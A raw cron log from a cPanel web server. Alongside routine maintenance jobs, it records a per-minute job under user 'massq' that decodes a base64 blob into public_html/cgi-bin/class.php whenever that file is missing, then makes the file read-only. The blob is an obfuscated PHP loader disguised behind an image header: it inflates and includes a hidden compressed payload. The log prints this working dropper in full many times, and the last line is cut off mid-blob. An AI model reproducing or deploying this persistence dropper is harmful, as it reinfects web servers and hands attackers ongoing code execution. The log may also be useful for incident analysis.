Sep  5 18:10:01 server CROND[10968]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 18:10:01 server CROND[10969]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 18:10:01 server CROND[10970]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:10:01 server CROND[10975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:10:01 server CROND[10973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:10:01 server CROND[10974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:10:01 server CROND[10981]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 18:10:01 server CROND[10978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:11:01 server CROND[11812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:11:01 server CROND[11813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:11:01 server CROND[11814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:12:01 server CROND[12200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:12:01 server CROND[12202]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 18:12:01 server CROND[12203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:12:01 server CROND[12201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:13:01 server CROND[12610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:13:01 server CROND[12609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:13:01 server CROND[12611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:14:01 server CROND[12985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:14:01 server CROND[12986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:14:01 server CROND[12988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:15:01 server CROND[13368]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 18:15:01 server CROND[13370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:15:01 server CROND[13373]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:15:01 server CROND[13381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:15:01 server CROND[13386]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:15:01 server CROND[13387]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 18:15:01 server CROND[13382]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  5 18:15:01 server CROND[13385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:15:01 server CROND[13384]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 18:15:01 server CROND[13383]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 18:16:01 server CROND[14403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:16:01 server CROND[14404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:16:01 server CROND[14405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:17:01 server CROND[14816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:17:01 server CROND[14817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:17:01 server CROND[14818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:18:01 server CROND[15189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:18:01 server CROND[15190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:18:01 server CROND[15197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:19:01 server CROND[15555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:19:01 server CROND[15556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:19:01 server CROND[15557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:20:01 server CROND[15954]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 18:20:01 server CROND[15956]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 18:20:01 server CROND[15965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:20:01 server CROND[15967]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:20:01 server CROND[15969]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 18:20:01 server CROND[15972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:20:01 server CROND[15973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:20:01 server CROND[15974]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:20:01 server CROND[15975]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 18:21:01 server CROND[16935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5